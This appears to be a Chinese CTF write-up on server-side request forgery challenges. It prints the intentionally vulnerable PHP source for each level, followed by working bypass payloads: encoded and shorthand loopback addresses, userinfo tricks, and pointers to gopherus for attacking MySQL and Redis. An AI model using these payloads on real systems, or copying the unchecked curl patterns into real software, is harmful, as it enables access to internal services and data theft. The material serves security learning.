<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
直接POST url=127.0.0.1/flag.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
过滤了localhost和127.0.0.
学习了一下 可以用127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 进行
url=0x7F.0.0.1/flag.php 16进制
url=0177.0.0.1/flag.php 8进制
url=.php
url=0/flag.php
url=127.127.127.127/flag.php
突然想试一下短链接 。。。 结果好像不行 呜呜呜’
if(!preg_match('/localhost|127.0.|。/i', $url))
127.1
if(!preg_match('/localhost|1|0|。/i', $url))
现在已经不能出现0和1了
限制了host的长度 但0 好啊!
0/flag.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>
相关文章
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http://ctf..*show$/i',$url)){echo file_get_contents($url);
}
ctf.@127.0.0.1/flag.php?show
攻击点在returl
用 gopherus 工具生成攻击mysql的请求
python gopherus.py --exploit mysql
要记得url编码
之后可以rce
打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
还是利用gopherus 直接打
本文发布于:2024-01-28 08:39:13,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17064023576171.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |